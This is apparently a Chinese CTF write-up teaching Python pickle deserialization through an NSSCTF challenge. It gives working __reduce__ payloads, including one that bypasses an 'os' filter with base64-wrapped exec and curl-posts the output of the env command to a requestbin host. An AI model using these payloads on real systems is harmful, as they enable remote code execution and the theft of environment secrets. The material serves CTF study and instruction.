从题目NSSCTF上的一道题[HZNUCTF 2023 preliminary]pickle , 学习pickle反序列化
python pickle反序列化
1 2 3 4
| import pickle import base64 import os
|
pickle反序列使用介绍
pickle模块中使用的两个函数
1 2
| pickle.dumps() pickle.loads()
|
1 2 3 4 5
| import pickle str = "hello" serstr = pickle.dumps(str) print(serstr) print(pickle.loads(serstr))
|

1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle import os
class tmp: str = "hello" def __reduce__(self): return os.system, ("whoami",)
str = tmp() serstr = pickle.dumps(str) print(serstr) print(pickle.loads(serstr))
|
其中__reduce__
和php中的__wakeup__
类似,在python执行pickle.loads()即反序列化时执行的函数。 return os.system, ("whoami",)
即执行os.system(“whoami”)命令。

- 所以正常的payload我们会用到
__reduce__
函数来返回值,执行一些命令。一般会用到os模块 system(“whoami”)来执行命令。
常规payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import pickle import os import base64
class tmp: str = "hello" def __reduce__(self): return os.system, ("whoami",)
str = tmp() serstr = base64.b64encode(pickle.dumps(str)).decode() print(serstr) print(pickle.loads(base64.b64decode(serstr)))
|

思考 绕过os、无回显如何处理
题目
- NSSCTF [HZNUCTF 2023 preliminary]pickle
过滤了os
, 可以构造payload 使用exec
执行python代码(pickle序列化的字符串中不能包含os
)。
无回显可以使用 requestbin 外带出命令执行结果
1
| curl -X POST -d "fizz=buzz" http://requestbin.cn:80/1p62pww1
|
- 其中 “fizz=
env
“ 执行env
命令 在requestbinz中可以看到命令执行结果
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import pickle import os import base64
actual_payload = ''' import os os.system('curl -X POST -d "fizz=`env`" http://requestbin.cn:80/1m3qq091') '''
encode_payload = base64.b64encode(actual_payload.encode()).decode()
class rce: def __reduce__(self): cmd = f'import base64; exec(base64.b64decode("{encode_payload}"))' return exec, (cmd,)
str = rce() serstr = base64.b64encode(pickle.dumps(str)).decode() print(serstr) print(pickle.loads(base64.b64decode(serstr)))
|